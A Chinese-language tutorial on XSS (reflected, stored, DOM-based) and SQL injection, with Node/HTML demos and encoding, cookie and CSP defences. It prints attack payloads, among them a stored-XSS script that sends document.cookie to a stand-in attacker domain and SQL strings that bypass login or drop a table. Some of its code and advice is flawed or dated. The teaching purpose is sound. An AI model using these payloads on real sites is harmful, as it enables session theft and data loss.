web安全之XSS攻擊原理及防範

閱讀目錄javascript

一:什麼是XSS攻擊?css

XSS 即(Cross Site Scripting)中文名稱爲:跨站腳本攻擊。XSS的重點不在於跨站點,而在於腳本的執行。那麼XSS的原理是:
惡意攻擊者在web頁面中會插入一些惡意的script代碼。當用戶瀏覽該頁面的時候,那麼嵌入到web頁面中script代碼會執行,所以會達到惡意攻擊用戶的目的。那麼XSS攻擊最主要有以下分類:反射型、存儲型、及 DOM-based型。 反射性和DOM-baseed型能夠歸類爲非持久性XSS攻擊。存儲型能夠歸類爲持久性XSS攻擊。html

二:反射型XSS前端

反射性XSS的原理是:反射性xss通常指攻擊者經過特定的方式來誘惑受害者去訪問一個包含惡意代碼的URL。當受害者點擊惡意連接url的時候,惡意代碼會直接在受害者的主機上的瀏覽器執行。java

反射性XSS又能夠叫作非持久性XSS。爲何叫反射型XSS呢?那是由於這種攻擊方式的注入代碼是從目標服務器經過錯誤信息,搜索結果等方式反射回來的,而爲何又叫非持久性XSS呢?那是由於這種攻擊方式只有一次性。node

好比:攻擊者經過電子郵件等方式將包含注入腳本的惡意連接發送給受害者,當受害者點擊該連接的時候,注入腳本被傳輸到目標服務器上,而後服務器將注入腳本 "反射"到受害者的瀏覽器上,從而瀏覽器就執行了該腳本。git

所以反射型XSS的攻擊步驟以下:github

1. 攻擊者在url後面的參數中加入惡意攻擊代碼。
2. 當用戶打開帶有惡意代碼的URL的時候,網站服務端將惡意代碼從URL中取出,拼接在html中而且返回給瀏覽器端。
3. 用戶瀏覽器接收到響應後執行解析,其中的惡意代碼也會被執行到。
4. 攻擊者經過惡意代碼來竊取到用戶數據併發送到攻擊者的網站。攻擊者會獲取到好比cookie等信息,而後使用該信息來冒充合法用戶
的行爲,調用目標網站接口執行攻擊等操做。web

常見的反射性XSS有哪些?正則表達式

常見的是:惡意連接。

好比我如今作一個demo。在本地啓動一個簡單的服務器,而後在頁面上點擊一個連接後,好比以下代碼:html代碼以下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title>csrf攻擊</title>
</head>
<body>
  <div>
    <a href="http://localhost:3001/xss">xxs 攻擊</a>
    <a href="http://localhost:3001/testcookie">testcookie 攻擊</a>
  </div>
</body>
</html>

而後node中app.js 代碼以下:

const Koa = require('koa');
const fs = require('fs');
const path = require('path');
const router = require('koa-router')();
const koaBody = require('koa-body');
const static = require('koa-static');

const app = new Koa();

router.get('/', (ctx, next) => {
  // 設置頭類型, 若是不設置,會直接下載該頁面
  ctx.type = 'html';
  // 讀取文件
  const pathUrl = path.join(__dirname, '/static/index.html');
  ctx.body = fs.createReadStream(pathUrl);
  next();
});

router.get('/xss', (ctx, next) => {
  ctx.body = '<script>alert("反射型 XSS 攻擊")</script>';
});
router.get('/testcookie', (ctx, next) => {
  console.log(ctx.cookies.get('connect.sid'));
  ctx.body = '<script>alert("'+ctx.cookies.get('connect.sid')+'")</script>';
  next();
});

app.use(static(path.join(__dirname)));

app.use(router.routes());
app.use(router.allowedMethods());

app.listen(3001, () => {
  console.log('server is listen in 3001');
});

如上代碼,當用戶點擊xxs 攻擊惡意連接時候,頁面會跳轉到 http://localhost:3001/xss 攻擊者預先準備的頁面,而後會返回攻擊者準備的js腳本,該js腳本就在瀏覽器中執行了,以下所示:

當用戶點擊 testcookie 攻擊 這個連接的時候,首先要保證頁面上有cookie,好比我請求以下的cookie:

而後咱們點擊 testcookie 該連接,也會調用node中的 router.get('/testcookie', (ctx, next) => {}) 這個請求獲取到cookie,以下所示:

如上咱們就能夠很容易經過xss攻擊拿到對方的cookie信息了。

github源碼查看

三:存儲型XSS

存儲型XSS的原理是:主要是將惡意代碼上傳或存儲到服務器中,下次只要受害者瀏覽包含此惡意代碼的頁面就會執行惡意代碼。

好比我如今作了一個博客網站,而後攻擊者在上面發佈了一篇文章,內容是以下:<script>window.open("www.gongji.com?param="+document.cookie)</script> 若是我沒有對該文章進行任何處理的話,直接存入到數據庫中,那麼下一次當其餘用戶訪問該文章的時候,服務器會從數據庫中讀取後而後響應給客戶端,那麼瀏覽器就會執行這段腳本,而後攻擊者就會獲取到用戶的cookie,而後會把cookie發送到攻擊者的服務器上了。

所以存儲型XSS的攻擊步驟以下:

1. 攻擊者將惡意代碼提交到目標網站數據庫中。
2. 用戶打開目標網站時,網站服務器將惡意代碼從數據庫中取出,而後拼接到html中返回給瀏覽器中。
3. 用戶瀏覽器接收到響應後解析執行,那麼其中的惡意代碼也會被執行。
4. 那麼惡意代碼執行後,就能獲取到用戶數據,好比上面的cookie等信息,那麼把該cookie發送到攻擊者網站中,那麼攻擊者拿到該
cookie而後會冒充該用戶的行爲,調用目標網站接口等違法操做。

如何防範?
1. 後端須要對提交的數據進行過濾。
2. 前端也能夠作一下處理方式,好比對script標籤,將特殊字符替換成HTML編碼這些等。

四:DOM-based型XSS

咱們客戶端的js能夠對頁面dom節點進行動態的操做,好比插入、修改頁面的內容。好比說客戶端從URL中提取數據而且在本地執行、若是用戶在客戶端輸入的數據包含了惡意的js腳本的話,可是這些腳本又沒有作任何過濾處理的話,那麼咱們的應用程序就有可能受到DOM-based XSS的攻擊。所以DOM型XSS的攻擊步驟以下:

1. 攻擊者構造出特殊的URL、在其中可能包含惡意代碼。
2. 用戶打開帶有惡意代碼的URL。
3. 用戶瀏覽器收到響應後解析執行。前端使用js取出url中的惡意代碼並執行。
4. 執行時,惡意代碼竊取用戶數據併發送到攻擊者的網站中,那麼攻擊者網站拿到這些數據去冒充用戶的行爲操做。調用目標網站接口
執行攻擊者一些操做。

DOM XSS 是基於文檔對象模型的XSS。通常有以下DOM操做:
1. 使用document.write直接輸出數據。
2. 使用innerHTML直接輸出數據。
3. 使用location、location.href、location.replace、iframe.src、document.referer、window.name等這些。
好比以下demo:

<script>
  document.body.innerHTML = "<a href='"+url+"'>"+url+"</a>";
</script>

假如對於變量url的值是:javascript:alert('dom-xss'); 相似這樣的,那麼就會收到xss的攻擊了。所以對於DOM XSS主要是因爲本地客戶端獲取的DOM數據在本地執行致使的。所以咱們須要對HTML進行編碼,對JS進行編碼來防止這些問題產生。具體如何編碼能夠請看我下面的 XSS 如何防範那個地方便可。

咱們接下來看看demo代碼吧:

1. 使用document.write直接輸出致使瀏覽器解析惡意代碼
代碼以下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <script type="text/javascript">
    var s = location.search;            // 返回URL中的查詢部分(?以後的內容)
    // 爲了方便演示,咱們假如url是 以下這樣的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 而後咱們的是 s 的值就爲以下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整個查詢內容
    var url = "";                       // 定義變量url
    if (s.indexOf("url=") > -1) {       // 判斷URL是否爲空 
      var pos = s.indexOf("url=") + 4;  // 過濾掉"url="字符
      url = s.substring(pos, s.length);  // 獲得地址欄裏的url參數
    } else {
      url = "url參數爲空";
    }
    document.write('url: <a href="' + url + '">"' + url + '"</a>'); 
  </script>
</body>
</html>

頁面渲染完成後,點擊彈窗以下所示:

2. 使用innerHTML直接輸出致使瀏覽器解析惡意代碼
代碼以下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <script type="text/javascript">
    var s = location.search;            // 返回URL中的查詢部分(?以後的內容)
    // 爲了方便演示,咱們假如url是 以下這樣的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 而後咱們的是 s 的值就爲以下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整個查詢內容
    var url = "";                       // 定義變量url
    if (s.indexOf("url=") > -1) {       // 判斷URL是否爲空 
      var pos = s.indexOf("url=") + 4;  // 過濾掉"url="字符
      url = s.substring(pos, s.length);  // 獲得地址欄裏的url參數
    } else {
      url = "url參數爲空";
    }
  </script>
  <div id='test'><a href=""></a></div>
  <script type="text/javascript">
      document.getElementById("test").innerHTML = '個人url是: <a href="' + url + '">"' + url + '"</a>';
  </script>
</body>
</html>

點擊同樣也會彈窗窗口的。也會同樣執行xss攻擊的。

3. 使用location/location.href/location.replace/iframe.src 形成的XSS

以下代碼:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <script type="text/javascript">
    var s = location.search;            // 返回URL中的查詢部分(?以後的內容)
    // 爲了方便演示,咱們假如url是 以下這樣的
    // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); 
    // 而後咱們的是 s 的值就爲以下:
    s = "?url=javascript:alert('xsstest')";
    s = s.substring(1, s.length);       // 返回整個查詢內容
    var url = "";                       // 定義變量url
    if (s.indexOf("url=") > -1) {       // 判斷URL是否爲空 
      var pos = s.indexOf("url=") + 4;  // 過濾掉"url="字符
      url = s.substring(pos, s.length);  // 獲得地址欄裏的url參數
    } else {
      url = "url參數爲空";
    }
  </script>
  <div id='test'><a href=""></a></div>
  <script type="text/javascript">
    location.href = url;
  </script>
</body>
</html>

刷新下頁面,也會彈出窗口執行 xss攻擊了。

五:SQL注入

SQL注入是經過客戶端的輸入把SQL命令注入到一個應用的數據庫中,從而執行惡意的SQL語句。
什麼意思呢?咱們來打個比方:咱們有一個登陸框,須要輸入用戶名和密碼對吧,而後咱們的密碼輸入 'or '123' = '123 這樣的。
咱們在查詢用戶名和密碼是否正確的時候,原本執行的sql語句是:select * from user where username = '' and password = ''. 這樣的sql語句,如今咱們輸入密碼是如上這樣的,而後咱們會經過參數進行拼接,拼接後的sql語句就是:
select * from user where username = '' and password = ' ' or '123' = '123 '; 這樣的了,那麼會有一個or語句,只要這兩個有一個是正確的話,就條件成立,所以 123 = 123 是成立的。所以驗證就會被跳過。這只是一個簡單的列子,好比還有密碼好比是這樣的:'; drop table user;, 這樣的話,那麼sql命令就變成了:
select * from user where username = '' and password = ''; drop table user;' , 那麼這個時候咱們會把user表直接刪除了。

sql被攻擊的緣由是:sql語句僞造參數,而後對參數進行拼接後造成xss攻擊的sql語句。最後會致使數據庫被攻擊了。

防範的方法:
1. 咱們可使用預編譯語句(PreparedStatement,這樣的話即便咱們使用sql語句僞形成參數,到了服務端的時候,這個僞造sql語句的參數也只是簡單的字符,並不能起到攻擊的做用。
2. 數據庫中密碼不該明文存儲的,能夠對密碼使用md5進行加密,爲了加大破解成本,因此能夠採用加鹽的方式。

cookie安全策略

在服務器端設置cookie的時候設置 http-only, 這樣就能夠防止用戶經過JS獲取cookie。對cookie的讀寫或發送通常有以下字段進行設置:

http-only: 只容許http或https請求讀取cookie、JS代碼是沒法讀取cookie的(document.cookie會顯示http-only的cookie項被自動過濾掉)。發送請求時自動發送cookie.
secure-only: 只容許https請求讀取,發送請求時自動發送cookie。
host-only: 只容許主機域名與domain設置完成一致的網站才能訪問該cookie。

X-XSS-Protection設置

目前該屬性被全部的主流瀏覽器默認開啓XSS保護。該參數是設置在響應頭中目的是用來防範XSS攻擊的。它有以下幾種配置:
值有以下幾種:默認爲1.
0:禁用XSS保護。
1:啓用XSS保護。
1;mode=block; 啓用xss保護,而且在檢查到XSS攻擊是,中止渲染頁面。

XSS防護HTML編碼

咱們爲何要防護HTML編碼呢?好比以下html代碼:<div>${content}</div>, 在div標籤中存在一個輸出變量${content}. 那麼瀏覽器在解析的過程當中,首先是html解析,當解析到div標籤時,再解析 ${content}的內容,而後會將頁面顯示出來。
那假如該 ${content} 的值是 <script>alert('XSS攻擊')</script> 這樣的呢?所以該script腳本就會解析而且執行了,從而達到XSS的攻擊目標。
所以咱們須要將不可信數據放入到html標籤內(好比div、span等)的時候須要進行html編碼。
編碼規則:將 & < > " ' / 轉義爲實體字符。以下基本轉義代碼:

// 使用正則表達式實現html編碼
    function htmlEncodeByRegExp(str) {
      var s = '';
      if (str.length === 0) {
        return s;
      }
      return (s + str)
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/ /g, "&nbsp;")
        .replace(/\'/g, "&#39")
        .replace(/\"/g, "&quot;")
        .replace(/\//g, '&#x2F;');
    }
    // 使用正則表達式實現html解碼
    function htmlDecodeByRegExp(str) {
      var s = '';
      if (str.length === 0) {
        return s;
      }
      return (s + str)
        .replace(/&amp;/g, "&")
        .replace(/&lt;/g, "<")
        .replace(/&gt;/g, ">")
        .replace(/&nbsp;/g, " ")
        .replace(/&#39/g, "\'")
        .replace(/&quot;/g, "\"")
        .replace(/&#x2F;/g, "\/");
    }

實現demo以下:

<!DOCTYPE html>
    <html>
    <head>
      <meta charset=utf-8>
      <meta name="referrer" content="never">
      <title></title>
    </head>
    <body>
      <script type="text/javascript">
        // 使用正則表達式實現html編碼
        function htmlEncodeByRegExp(str) {
          var s = '';
          if (str.length === 0) {
            return s;
          }
          return (s + str)
            .replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;")
            .replace(/ /g, "&nbsp;")
            .replace(/\'/g, "&#39")
            .replace(/\"/g, "&quot;")
            .replace(/\//g, '&#x2F;');
        }
        // 使用正則表達式實現html解碼
        function htmlDecodeByRegExp(str) {
          var s = '';
          if (str.length === 0) {
            return s;
          }
          return (s + str)
            .replace(/&amp;/g, "&")
            .replace(/&lt;/g, "<")
            .replace(/&gt;/g, ">")
            .replace(/&nbsp;/g, " ")
            .replace(/&#39/g, "\'")
            .replace(/&quot;/g, "\"")
            .replace(/&#x2F;/g, "\/");
        }

        // 測試代碼:
        var html = '<br>aaaaaa<p>xxxxxx</p>';
        var encodeHtml = htmlEncodeByRegExp(html);
        // 輸出:使用正則表達式對html編碼:&lt;br&gt;aaaaaa&lt;p&gt;xxxxxx&lt;&#x2F;p&gt;
        console.log("使用正則表達式對html編碼:" + encodeHtml);
        var decodeHtml = htmlDecodeByRegExp(encodeHtml);

        // 輸出:使用正則表達式對html解碼:<br>aaaaaa<p>xxxxxx</p>
        console.log("使用正則表達式對html解碼:" + decodeHtml);

      </script>
    </body>
    </html>

XSS 防護HTML Attribute編碼

和HTML編碼同樣,html中的屬性也要進行編碼,好比 <input name="${name}" /> 這樣的,name是input的屬性,所以在html解析時,會對name屬性進行編碼,由於假如${name} 的值爲:" " onclick="alert('屬性XSS')" " " 這樣的,也就是說input變成這樣的了,<input name=" " onclick="alert('屬性XSS')" " "></input>,input屬性name被插入onclick事件了,所以也須要針對這種常規的html屬性,都須要對其進行HTML屬性編碼。
所以咱們須要將不可信數據放入html屬性時(不含src、href、style 和 事件處理函數(onclick, onmouseover等))。須要進行HTML Attribute 編碼。
編碼規則:除了字母、數字、字符之外,使用 &#x;16進制格式來轉義ASCII值小於256全部的字符。

所以編碼代碼以下:

function encodeForHTMLAttibute(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let ch = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
        }
        encoded += hex;
      }
      return encoded;
   };

XSS防護之javascript編碼

在上面的 XSS 防護HTML Attribute編碼中咱們是能夠防護XSS攻擊,可是它只能防護的是HTML通用屬性,並非所有屬性,在html中還存在不少支持協議解析的html屬性,好比 onclick, onerror, href, src 等這些,相似這些屬性咱們是沒法經過HTML編碼來防範XSS攻擊的。由於瀏覽器會先解析html編碼的字符,將其轉換爲該屬性的值,可是該屬性自己支持JS代碼執行,所以遊覽器在HTML解碼後,對該屬性的值進行JS解析,所以會執行響應的代碼。

好比以下代碼:<a href="javascript:alert('href xss')" target="_blank">href xss</a> 是能夠點擊的。 若是咱們對該進行html屬性編碼一下,仍是能夠點擊的,
如代碼:<a href="javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x20;HTML編碼無效&#x27;&#x29;" target="_blank">href xss HTML屬性編碼無效</a> 頁面仍是能夠點擊的。以下圖所示:

以下對href屬性編碼:

var str = "javascript:alert('href xss')";
// 使用正則表達式實現html編碼
function encodeForHTMLAttibute(str) {
  let encoded = '';
  for(let i = 0; i < str.length; i++) {
    let ch = hex = str[i];
    if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
      hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
    }
    encoded += hex;
  }
  return encoded;
};
console.log(encodeForHTMLAttibute(str)); // javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x27;&#x29;

那麼如今假如咱們對alert('href xss')進行JavaScript編碼,結果又會如何?(JavaScript編碼將字符編碼成\x+16進制的形式,對款字節編碼成Unicode)

注意:XSS防護之javascript編碼代碼以下:

function encodeForJavascript(str) {
  let encoded = '';
  for(let i = 0; i < str.length; i++) {
    let cc = hex = str[i];
    if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
      hex = '\\x' + cc.charCodeAt().toString(16);
    }
    encoded += hex;
  }
  return encoded;
};

以下demo演示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div>
    <a href="javascript:alert\x28\x27href\x20xss\x27\x29" target="_blank">Href XSS JavaScript編碼</a>
  </div>
  <script type="text/javascript">
    var str = "alert('href xss')";
    function encodeForJavascript(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let cc = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '\\x' + cc.charCodeAt().toString(16);
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForJavascript(str)); // alert\x28\x27href\x20xss\x27\x29
  </script>
</body>
</html>

如今咱們再來點擊上面的a連接是不會有任何效果的。所以 XSS執行失敗; 固然對onclick 事件等其餘的也是同樣的要進行編碼。咱們也能夠繼續看下:onclick屬性XSS

onclick屬性XSS

好比如今咱們來看一下on事件屬性:<div id="test" onclick="testFunc($value)">xxs測試</div> (此處的$value每每通常都是後臺模板替換的變量)<div id="test" onclick="testFunc('$value')">xxs測試</div>

當$value的值 hello world'),alert('onclick xss 時,就會觸發XSS攻擊;代碼就會變成以下:

<div id="test" onclick="testFunc('hello world'),alert('onclick xss')" >xxs測試</div>

所以demo以下:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello world'),alert('onclick xss')">xxs測試</div>
  <script type="text/javascript">
    function testFunc(xx) {
      
    }
  </script>
</body>
</html>

當我點擊xss測試的時候,就會變成以下所示:

若是咱們使用html編碼是不行的,對$value進行HTML編碼, 咱們能夠看看以下demo所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello&#x20;world&#x27;&#x29;&#x2c;alert&#x28;&#x27;onclick&#x20;xss')">xxs測試</div>
  <script type="text/javascript">
    function testFunc() {}
    
    var str = "hello world'),alert('onclick xss";
    // 使用正則表達式實現html編碼
    function encodeForHTMLAttibute(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let ch = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForHTMLAttibute(str)); 
    // hello&#x20;world&#x27;&#x29;&#x2c;alert&#x28;&#x27;onclick&#x20;xss
  </script>
</body>
</html>

如上代碼,咱們繼續點擊xxx測試的時候,仍是能夠彈窗的。

如今若是咱們繼續將$value進行JavaScript編碼:顯示正常,不存在XSS。 以下代碼所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset=utf-8>
  <meta name="referrer" content="never">
  <title></title>
</head>
<body>
  <div id="test" onclick="testFunc('hello\x20world\x27\x29\x2calert\x28\x27onclick\x20xss')">xxs測試</div>
  <script type="text/javascript">
    function testFunc() {}
    
    var str = "hello world'),alert('onclick xss";
    // 使用正則表達式實現html編碼
    function encodeForJavascript(str) {
      let encoded = '';
      for(let i = 0; i < str.length; i++) {
        let cc = hex = str[i];
        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
          hex = '\\x' + cc.charCodeAt().toString(16);
        }
        encoded += hex;
      }
      return encoded;
    };
    console.log(encodeForJavascript(str)); 
    // hello\x20world\x27\x29\x2calert\x28\x27onclick\x20xss
  </script>
</body>
</html>

咱們繼續點擊就沒有任何反應了,你們本身能夠試試下。所以就不會存在xss攻擊了。

XSS 防護之 URL 編碼

做用範圍:將不可信數據做爲 URL 參數值時須要對參數進行 URL 編碼
編碼規則:將參數值進行 encodeURIComponent 編碼

編碼代碼以下:

function encodeForURL(str){
  return encodeURIComponent(str);
};

XSS 防護之 CSS 編碼

做用範圍:將不可信數據做爲 CSS 時進行 CSS 編碼
好比:經過css構造(background-img:url\expression\link-href@import)

<div style="background-image: url(javascript:alert('xss'));"></div>
<style>body{background-image: url("javascript:alert('xss')");}</style>

編碼規則:除了字母數字字符之外,使用\XXXXXX格式來轉義ASCII值小於256的全部字符。 編碼代碼以下:

function encodeForCSS (attr, str){
  let encoded = '';
  for (let i = 0; i < str.length; i++) {
    let ch = str.charAt(i);
    if (!ch.match(/[a-zA-Z0-9]/) {
      let hex = str.charCodeAt(i).toString(16);
      let pad = '000000'.substr((hex.length));
      encoded += '\\' + pad + hex;
    } else {
      encoded += ch;
    }
  }
  return encoded;
};

開啓CSP網頁安全政策防止XSS攻擊

Content-Security-Policy 中文的意思是 網頁安全政策,

CSP是網頁安全政策(Content Security Policy)的縮寫。主要用來防止XSS攻擊。是一種由開發者定義的安全性政策申明,經過CSP所約束的責任指定可信的內容來源,經過 Content-Security-Policy 網頁的開發者能夠控制整個頁面中 外部資源 的加載和執行。
好比能夠控制哪些 域名下的靜態資源能夠被頁面加載,哪些不能被加載。這樣就能夠很大程度的防範了 來自 跨站(域名不一樣) 的腳本攻擊。

如何使用呢?

咱們只須要在meta屬性中設置下便可:以下代碼:

<meta http-equiv="Content-Security-Policy" content="">

好比以下的列子:

<meta http-equiv="Content-Security-Policy" content="
default-src http: https:  *.xxx.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.yyy.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">

默認設置(default-src):信任 http ,https協議資源,信任當前域名資源,信任符合*.xxx.com的域名資源CSS設置(style-src):信任當前域名資源,容許內嵌的CSS資源,信任來自*.yyy.com下的CSS資源。
JS設置(script-src):信任當前域名資源,容許內嵌的JS執行,容許將字符串看成代碼執行

有以下類別

default-src 給下面全部的規則設定一個默認值
script-src 外部腳本
style-src 樣式表
img-src 圖像
media-src 媒體文件(音頻和視頻)
font-src 字體文件
object-src 插件(好比 Flash)
child-src 框架
frame-ancestors 嵌入的外部資源(好比、<iframe>、和)
connect-src HTTP 鏈接(經過 XHR、WebSockets、EventSource等)
worker-src worker腳本
manifest-src manifest 文件

script-src有以下屬性值:

unsafe-inline 容許執行頁面內嵌的<script>標籤和事件監聽函數unsafe-eval 容許將字符串看成代碼執行,好比使用eval、setTimeout、setInterval和Function等函數nonce 每次HTTP迴應給出一個受權token,頁面內嵌腳本必須有這個token,纔會執行hash 列出容許執行的腳本代碼的Hash值,頁面內嵌腳本的哈希值只有吻合的狀況下,才能執行

相關文章
相關標籤/搜索